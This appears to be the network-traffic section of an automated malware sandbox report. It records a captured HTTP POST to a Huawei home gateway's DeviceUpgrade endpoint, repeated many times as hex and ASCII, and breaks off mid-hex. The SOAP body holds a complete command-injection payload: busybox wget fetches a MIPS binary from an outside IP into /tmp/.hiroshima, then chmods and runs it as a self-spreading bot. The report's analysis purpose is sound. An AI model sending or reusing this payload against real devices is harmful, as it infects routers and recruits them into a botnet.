2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 